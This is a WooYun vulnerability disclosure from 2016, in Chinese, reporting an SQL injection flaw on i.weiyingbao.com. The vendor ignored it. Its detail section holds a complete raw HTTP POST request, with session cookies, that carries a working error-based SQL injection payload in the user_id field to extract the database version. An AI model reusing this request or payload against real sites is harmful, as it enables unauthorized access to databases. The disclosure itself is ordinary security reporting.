当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0174258

漏洞标题：微赢宝某站存在SQL注入漏洞

相关厂商：weiyingbao.com

漏洞作者： 路人甲

提交时间：2016-02-02 09:35

修复时间：2016-02-20 18:40

公开时间：2016-02-20 18:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-02-02： 细节已通知厂商并且等待厂商处理中
2016-02-20： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

POST /index.php?act=send_second&app=public HTTP/1.1
Content-Length: 179
Content-Type: application/x-www-form-urlencoded
Cookie: WYB_ID=26d984dd8ad8fe08d54fa3a01df0d1bffeef804b; Hm_lvt_4bfbf45b172e243f50e33b557449ab7b=1454282341,1454282345; Hm_lpvt_4bfbf45b172e243f50e33b557449ab7b=1454282345; HMACCOUNT=B3AB81313AEB7AE4; visit_cookie=ki2jQf1o; sidkey=cfcd208495d565ef66e7dff9f98764da
Host: i.weiyingbao.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
user_id=(select%201%20and%20row(1%2c1)>(select%20count(*)%2cconcat(concat(@@version)%2cfloor(rand()*2))x%20from%20(select%201%20union%20select%202)a%20group%20by%20x%20limit%201))

3.png


4.png


5.png

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-02-20 18:40

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

2016-03-02：次日已处理，谢谢